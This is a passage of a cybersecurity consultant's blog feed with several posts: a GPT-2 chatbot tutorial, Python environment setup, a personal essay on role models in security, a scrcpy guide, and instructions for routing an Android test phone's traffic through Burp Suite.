    &lt;span class="c1"&gt;# Generate response
&lt;/span&gt;    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;no_grad&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_ids&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;num_return_sequences&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pad_token_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eos_token_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;skip_special_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;cleaned_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;clean_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;cleaned_response&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Chatbot: Hi there! How can I help you?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;user_input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;You: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Chatbot: Goodbye!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;generate_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Chatbot:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  That's it!
&lt;/h3&gt;

&lt;p&gt;In this blog post, we developed a simple chatbot and cleaned the response so it looks a bit better!&lt;/p&gt;

&lt;p&gt;You can also follow my Instagram &lt;a href="https://www.instagram.com/whatminjahacks/" rel="noopener noreferrer"&gt;@whatminjahacks&lt;/a&gt; if you are interested to see more about my days as a Cyber Security consultant and learn more about cyber security with me!&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>llm</category>
    </item>
    <item>
      <title>Building a Simple Chatbot using GPT model - part 1</title>
      <dc:creator>whatminjacodes [she/they]</dc:creator>
      <pubDate>Fri, 24 May 2024 06:40:16 +0000</pubDate>
      <link>https://forem.com/whatminjacodes/building-a-simple-chatbot-using-gpt-model-part-1-3oeo</link>
      <guid>https://forem.com/whatminjacodes/building-a-simple-chatbot-using-gpt-model-part-1-3oeo</guid>
      <description>&lt;p&gt;I have been wanting to understand the vulnerabilities related to Large Language Model (LLM) applications and generative AI, so I thought a good way to understand these in practice would be by first developing my own chatbot.&lt;/p&gt;

&lt;p&gt;So here's a two-part series where I go through what LLMs are, how to set up a development environment, and how to actually develop a chatbot.&lt;/p&gt;

&lt;p&gt;This first post helps you set up the environment, as well as explains what LLMs are. In a &lt;a href="https://dev.to/whatminjacodes/building-a-simple-chatbot-using-gpt-model-part-2-45cn"&gt;post next week&lt;/a&gt;, I will go through the development of the chatbot.&lt;/p&gt;

&lt;h3&gt;
  
  
  What are LLMs?
&lt;/h3&gt;

&lt;p&gt;LLM stands for Large Language Model. It is a system designed to understand and generate human-like text. LLMs are trained with vast amounts of data from various sources, such as books, articles, and websites. This allows the algorithm to predict what sequences of words are probable responses to a user-provided input.&lt;/p&gt;

&lt;p&gt;One example of a system using an LLM, which probably everyone has heard about by now, is &lt;a href="https://openai.com/chatgpt/" rel="noopener noreferrer"&gt;ChatGPT&lt;/a&gt;. It is an AI system that uses natural language processing to create a conversation with the user and utilizes OpenAI's Generative Pre-trained Transformer (GPT), a neural network machine learning model.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup the Environment
&lt;/h3&gt;

&lt;p&gt;Now that you have the background info for this series, let's set up our environment.&lt;/p&gt;

&lt;p&gt;I'm using WSL 2 with Ubuntu 20.04 LTS, so if you are not using the same setup, the commands I use might be a little different on your distribution.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Update and Upgrade Ubuntu
&lt;/h4&gt;

&lt;p&gt;Open your Ubuntu terminal and run the following commands to update and upgrade your package lists:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt update
sudo apt upgrade
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will ensure you have the latest software updates.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Install Python
&lt;/h4&gt;

&lt;p&gt;This guide will use Python and pip to run the required Python scripts and manage packages. Most Ubuntu installations come with Python pre-installed. Verify the installation by running the following commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 --version
pip3 --version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If Python or pip is not installed, install them using this command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt install python3 python3-pip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3. Install Virtual Environment Tools
&lt;/h4&gt;

&lt;p&gt;Creating a &lt;a href="https://docs.python.org/3/library/venv.html" rel="noopener noreferrer"&gt;virtual environment&lt;/a&gt; is a best practice to manage dependencies for your projects. This will create an isolated environment that prevents conflicts between different projects that may require different versions of the same package.&lt;/p&gt;

&lt;p&gt;Install venv by running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt install python3-venv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  4. Create a Virtual Environment
&lt;/h4&gt;

&lt;p&gt;Navigate to the directory where you want to create your project and set up a virtual environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir name-of-directory
cd name-of-directory
python3 -m venv venv-name
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;mkdir name-of-directory: Creates a new directory called &lt;em&gt;name-of-directory&lt;/em&gt; for your project. Change the name to what you want it to be.&lt;/li&gt;
&lt;li&gt;cd name-of-directory: Changes the current directory to the directory you just created.&lt;/li&gt;
&lt;li&gt;python3 -m venv venv-name: Creates a virtual environment named &lt;em&gt;venv-name&lt;/em&gt; in the directory. Change the name to what you want it to be.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  5. Activate the Virtual Environment
&lt;/h4&gt;

&lt;p&gt;Activate the virtual environment with the following command, changing &lt;em&gt;venv-name&lt;/em&gt; to the one you chose when creating the virtual environment in the step above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;source venv-name/bin/activate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see the virtual environment name (e.g., &lt;em&gt;venv-name&lt;/em&gt;) in your terminal prompt, indicating that it's activated.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(venv-name) example@ubuntu:/name-of-directory$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  6. Upgrade pip
&lt;/h4&gt;

&lt;p&gt;Ensure that pip is up to date:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip3 install --upgrade pip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  That's it!
&lt;/h3&gt;

&lt;p&gt;In this blog post, we set up the environment so it is ready when we start building the chatbot on the &lt;a href="https://dev.to/whatminjacodes/building-a-simple-chatbot-using-gpt-model-part-2-45cn"&gt;next post&lt;/a&gt; that I'm publishing next week!&lt;/p&gt;

&lt;p&gt;You can also follow my Instagram &lt;a href="https://www.instagram.com/whatminjahacks/" rel="noopener noreferrer"&gt;@whatminjahacks&lt;/a&gt; if you are interested to see more about my days as a Cyber Security consultant and learn more about cyber security with me!&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>llm</category>
    </item>
    <item>
      <title>Becoming a Cyber Security Advocate: Importance of Role Models</title>
      <dc:creator>whatminjacodes [she/they]</dc:creator>
      <pubDate>Fri, 01 Mar 2024 09:00:00 +0000</pubDate>
      <link>https://forem.com/whatminjacodes/becoming-a-cyber-security-advocate-importance-of-role-models-3j9d</link>
      <guid>https://forem.com/whatminjacodes/becoming-a-cyber-security-advocate-importance-of-role-models-3j9d</guid>
      <description>&lt;p&gt;I have been working in cybersecurity for almost two years now. I began my career as a software developer, but after a few years in that role, I had the opportunity to become an ethical hacker.&lt;/p&gt;

&lt;p&gt;I was excited about the opportunity and decided to make the switch, even though I didn't know much about hacking. However, I had been enthusiastic about cybersecurity for years by that time, so I was sure I would learn the ropes, and the work would be something I enjoy.&lt;/p&gt;

&lt;p&gt;When contemplating whether to make the switch, I tried looking for people who talk about their work as a hacker. And I couldn't find that many people! The field was so new for me that I didn't even really know what to search for. I started to hesitate, because I wasn't sure what I was getting into.&lt;/p&gt;

&lt;p&gt;There are many Instagram accounts where people working in tech tell about their lives, and I was sure I would find someone from whom I could learn about what it's like to be a hacker. I realized I had been in the minority in software development, but I might be in an even smaller diversity group in cybersecurity. There are women and other minorities working in cyber, but not many are visible online. And that is understandable! Some jobs in cyber even become impossible if your face is too well-known to the public.&lt;/p&gt;

&lt;p&gt;Luckily now, after two years of working in cyber, I have found others who share about their work too. I've even become familiar with the Women4Cyber foundation, and I ordered their book called "Hacking Gender Barriers: Europe’s Top Cyber Women", which gave me lots of knowledge about what different jobs women are working on in cyber.&lt;/p&gt;

&lt;p&gt;But I was genuinely surprised at how difficult it was to find role models. So when I started my journey into cybersecurity and a career as a hacker, I decided to create an Instagram account (&lt;a href="https://www.instagram.com/whatminjahacks/" rel="noopener noreferrer"&gt;@whatminjahacks&lt;/a&gt;) where I talk about my job and where I can be visible as myself, a person who loves everything pink and cute. I felt that's important since the stereotype of a hacker is still someone who wears a black hoodie and works in a dimly lit room.&lt;/p&gt;

&lt;p&gt;A hacker can also be wearing pink and having plushies and Pokemon figures on their workdesk.&lt;/p&gt;

</description>
      <category>wecoded</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Mobile Security Tools part 1: scrcpy</title>
      <dc:creator>whatminjacodes [she/they]</dc:creator>
      <pubDate>Thu, 12 Oct 2023 10:48:45 +0000</pubDate>
      <link>https://forem.com/whatminjacodes/mobile-security-tools-part-1-scrcpy-an3</link>
      <guid>https://forem.com/whatminjacodes/mobile-security-tools-part-1-scrcpy-an3</guid>
      <description>&lt;h3&gt;
  
  
  Mobile Security Tools-series:
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Part 1: scrcpy
&lt;/h4&gt;

&lt;h4&gt;
  
  
  Part 2: &lt;a href="https://dev.to/whatminjacodes/mobile-security-tools-part-2-frida-3mb3"&gt;Frida&lt;/a&gt;
&lt;/h4&gt;




&lt;h3&gt;
  
  
  What is scrcpy?
&lt;/h3&gt;

&lt;p&gt;SCRCPY (Screen Copy) is a free and open source application that allows users to mirror their Android device’s screen on their computer. &lt;/p&gt;

&lt;p&gt;It is available for Windows, macOS, and Linux and doesn't need a rooted or jailbroken phone.&lt;/p&gt;

&lt;p&gt;It allows to control the device with the keyboard and the mouse of the computer.&lt;/p&gt;

&lt;p&gt;Some of the features:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;mirror screen on computer&lt;/li&gt;
&lt;li&gt;copy-paste in both directions&lt;/li&gt;
&lt;li&gt;record screen&lt;/li&gt;
&lt;li&gt;use Android with mouse and keyboard&lt;/li&gt;
&lt;li&gt;audio forwarding&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tutorial
&lt;/h3&gt;

&lt;p&gt;Let's install and use scrcpy next. Note that you don't need a rooted device to follow this tutorial. &lt;/p&gt;

&lt;h4&gt;
  
  
  Prerequisites
&lt;/h4&gt;

&lt;p&gt;This tutorial will not go through how to to connect your phone to be used for developing. Check the tutorial from &lt;a href="https://developer.android.com/codelabs/basic-android-kotlin-compose-connect-device" rel="noopener noreferrer"&gt;Android Developer website&lt;/a&gt; if you haven't done that before.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My setup:&lt;/strong&gt;&lt;br&gt;
I'm using a rooted Pixel 6a&lt;br&gt;
Android 13&lt;br&gt;
Ubuntu 22.04.3 LTS&lt;br&gt;
Android &lt;a href="https://developer.android.com/tools/releases/platform-tools" rel="noopener noreferrer"&gt;Platform Tools&lt;/a&gt; downloaded&lt;/p&gt;

&lt;p&gt;If you are new to &lt;a href="https://developer.android.com/tools/adb" rel="noopener noreferrer"&gt;adb&lt;/a&gt;, I recommend you to first read what it is.&lt;/p&gt;

&lt;p&gt;Check other needed prerequisites from the scrcpy &lt;a href="https://github.com/Genymobile/scrcpy" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;
  
  
  Install scrcpy
&lt;/h4&gt;

&lt;p&gt;This differs depending on your setup, so if you have something else than Debian or Ubuntu, then check the installation instructions from scrcpy &lt;a href="https://github.com/Genymobile/scrcpy" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On Debian and Ubuntu, scrcpy can be installed by running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt install scrcpy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Choose a connected device
&lt;/h4&gt;

&lt;p&gt;You can check all the connected devices by going to platform-tools folder and by calling:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./adb devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That command lists the connected devices and shows their id:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;List of devices attached
331[REDACTED]804    device
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remember to put your phone on file transfer mode.&lt;/p&gt;

&lt;p&gt;If there is only one device connected, scrcpy will default to that. However, if there are multiple devices, you must specify the one to use by it's id:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;scrcpy -s 331[REDACTED]804
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Start scrcpy
&lt;/h4&gt;

&lt;p&gt;You start scrcpy by simply calling &lt;code&gt;scrcpy&lt;/code&gt; on terminal. &lt;/p&gt;

&lt;p&gt;The tool opens a new window which shows the screen of your phone.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fikcgv905oynplyy7dyaw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fikcgv905oynplyy7dyaw.png" alt="A screenshot displaying phone screen on laptop" width="800" height="836"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Record a video
&lt;/h4&gt;

&lt;p&gt;Let's test one of the features to make sure everything is working as intended.&lt;/p&gt;

&lt;p&gt;You can record a video of the screen of your phone by running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;scrcpy --record filename.mp4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The saved video can be found from the folder you are currently in.&lt;/p&gt;

&lt;h3&gt;
  
  
  That's it!
&lt;/h3&gt;

&lt;p&gt;I hope this blog post helped you to understand what scrcpy is and how it can be used! &lt;/p&gt;

&lt;p&gt;You can also follow my Instagram &lt;a href="https://www.instagram.com/whatminjahacks/" rel="noopener noreferrer"&gt;@whatminjahacks&lt;/a&gt; if you are interested to see more about my days as a Cyber Security consultant and learn more about cyber security with me!&lt;/p&gt;

</description>
      <category>mobile</category>
      <category>android</category>
      <category>androiddev</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>How to setup Burp Suite on Android</title>
      <dc:creator>whatminjacodes [she/they]</dc:creator>
      <pubDate>Fri, 29 Sep 2023 14:27:32 +0000</pubDate>
      <link>https://forem.com/whatminjacodes/how-to-setup-burp-suite-on-android-581a</link>
      <guid>https://forem.com/whatminjacodes/how-to-setup-burp-suite-on-android-581a</guid>
      <description>&lt;p&gt;On this blog post I want to go through how to setup your Android phone to send traffic to Burp Suite.&lt;/p&gt;

&lt;h4&gt;
  
  
  Prerequisites
&lt;/h4&gt;

&lt;p&gt;This tutorial will not go through how to connect your phone to be used for developing. Check the tutorial from &lt;a href="https://developer.android.com/codelabs/basic-android-kotlin-compose-connect-device" rel="noopener noreferrer"&gt;Android Developer website&lt;/a&gt; if you haven't done that before.&lt;/p&gt;

&lt;p&gt;The phone you use doesn't need to be rooted, but USB debugging from developer options needs to be set.&lt;/p&gt;

&lt;p&gt;You should also know basics of Burp Suite.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My setup:&lt;/strong&gt;&lt;br&gt;
I'm using a rooted Pixel 6a&lt;br&gt;
Android 13&lt;br&gt;
Ubuntu 22.04.3 LTS&lt;br&gt;
Android &lt;a href="https://developer.android.com/tools/releases/platform-tools" rel="noopener noreferrer"&gt;Platform Tools&lt;/a&gt; downloaded&lt;/p&gt;

&lt;p&gt;If you are new to &lt;a href="https://developer.android.com/tools/adb" rel="noopener noreferrer"&gt;adb&lt;/a&gt;, I recommend you to get familiar with it first.&lt;/p&gt;
&lt;h3&gt;
  
  
  Tutorial
&lt;/h3&gt;

&lt;p&gt;Let's just get started then!&lt;/p&gt;
&lt;h4&gt;
  
  
  Download and install Burp Suite Community
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://portswigger.net/burp" rel="noopener noreferrer"&gt;Burp Suite&lt;/a&gt; is a software security application that is used for security testing of applications. There is a free version available that you can use if you don't have a licence.&lt;/p&gt;

&lt;p&gt;This tutorial is not going to go through how to use Burp Suite, so you should first familiarize yourself with the application if you are new to it. There are great tutorials on &lt;a href="https://portswigger.net/burp/documentation/desktop/getting-started" rel="noopener noreferrer"&gt;Portswigger&lt;/a&gt; that can help you get started.&lt;/p&gt;

&lt;p&gt;Make sure intercept is off.&lt;/p&gt;
&lt;h4&gt;
  
  
  Get Burp certificate
&lt;/h4&gt;

&lt;p&gt;To interact with &lt;code&gt;HTTPS&lt;/code&gt; traffic, we need to install a CA certificate on our android device.&lt;/p&gt;

&lt;p&gt;Go to Proxy tab and choose Proxy settings. Click on &lt;code&gt;Import/export CA certificate&lt;/code&gt; and choose &lt;code&gt;Certificate in DER format&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6iyt2ylq3vo8ww7tn7qi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6iyt2ylq3vo8ww7tn7qi.png" alt="Screenshot of Burp Suite certificate import window." width="800" height="492"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Choose a location to save the file to on the next window. Name the file for example &lt;code&gt;cert.der&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;
  
  
  Convert the cert to a valid format
&lt;/h4&gt;

&lt;p&gt;A DER (&lt;a href="https://en.wikipedia.org/wiki/Distinguished_Encoding_Rules" rel="noopener noreferrer"&gt;Distinguished Encoding Rules&lt;/a&gt;) file is a digital certificate file that is created and stored in a binary format. It is a binary encoding for the X.509 certificates and private keys. In contrast to PEM (&lt;a href="https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail" rel="noopener noreferrer"&gt;Privacy Enhanced Mail&lt;/a&gt;) files, DER files do not contain human-readable plain text statements such as —–BEGIN CERTIFICATE—–. &lt;/p&gt;

&lt;p&gt;Using terminal, go to the location where you saved the DER file and convert it to &lt;code&gt;.pem&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openssl x509 -inform der -in cert.der -out cert.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Push the cert to the device
&lt;/h4&gt;

&lt;p&gt;Connect your phone to the computer using a cable and set the phone to &lt;code&gt;file transfer&lt;/code&gt; mode. Make sure USB debugging is enabled from developer options.&lt;/p&gt;

&lt;p&gt;You can check all the connected devices by going to platform-tools folder and by calling:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./adb devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That command lists the connected devices and shows their id:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;List of devices attached
331[REDACTED]804    device
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your device is listed with an id, it means the connection between phone and the computer should be ok.&lt;/p&gt;

&lt;p&gt;Next, run the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./adb push /path-to-file/cert.pem /sdcard/Download
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command will push the file to the &lt;code&gt;Download&lt;/code&gt; folder on your phone.&lt;/p&gt;

&lt;p&gt;If you don't know the path to a file, you can go to the folder where the file is located and run &lt;code&gt;pwd&lt;/code&gt; in the terminal. This command returns the path to the current folder you are in.&lt;/p&gt;

&lt;h4&gt;
  
  
  Install cert on device
&lt;/h4&gt;

&lt;p&gt;Open Setting on your phone, search for &lt;code&gt;certificate&lt;/code&gt; and go to &lt;code&gt;Install a certificate&lt;/code&gt;. Click on &lt;code&gt;CA certificate&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The phone will show a warning about &lt;code&gt;Your data won't be private&lt;/code&gt; and it will remind you to only install a certificate from an organization you trust. By installing this certificate, you can display requests sent from the phone on Burp Suite application. This means that also some sensitive data could be sent to Burp Suite. You shouldn't use your personal phone whenever you play around with all these tools.&lt;/p&gt;

&lt;p&gt;Click &lt;code&gt;Install anyway&lt;/code&gt; and locate the &lt;code&gt;cert.pem&lt;/code&gt; file we copied to the phone.&lt;/p&gt;

&lt;h4&gt;
  
  
  Configure the device proxy
&lt;/h4&gt;

&lt;p&gt;On the phone go to WiFi and click on the one you are connected to. Use the pencil icon (edit button) and go to Advanced options.&lt;/p&gt;

&lt;p&gt;Go to &lt;code&gt;Proxy&lt;/code&gt; and choose &lt;code&gt;Manual&lt;/code&gt;. Insert &lt;code&gt;localhost&lt;/code&gt; to Proxy host and &lt;code&gt;8080&lt;/code&gt; to Proxy port. Save the settings.&lt;/p&gt;

&lt;h4&gt;
  
  
  Configure port forwarding
&lt;/h4&gt;

&lt;p&gt;Sometimes you might need to configure port forwarding to get the proxy working. If the proxy doesn't work, you can run the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./adb reverse tcp:8080 tcp:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;adb reverse&lt;/code&gt; is a command that allows you to expose a port on your Android device to a port on your computer. Now when your phone tries to access the port 8080 (the common port for web traffic), your request will be routed to port 8080 of your computer.&lt;/p&gt;

&lt;p&gt;Open a browser and test if &lt;code&gt;http://example.com&lt;/code&gt; and &lt;code&gt;https://example.com&lt;/code&gt; works. Both of these websites should now be sending traffic to Burp Suite Proxy tab.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm5necpi9xeeao3xuxck0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm5necpi9xeeao3xuxck0.png" alt="Screenshot of Proxy tab of Burp Suite application." width="800" height="510"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  That's it!
&lt;/h3&gt;

&lt;p&gt;I hope this blog post helped you to understand how Burp Suite can be setup to be used on Android! &lt;/p&gt;

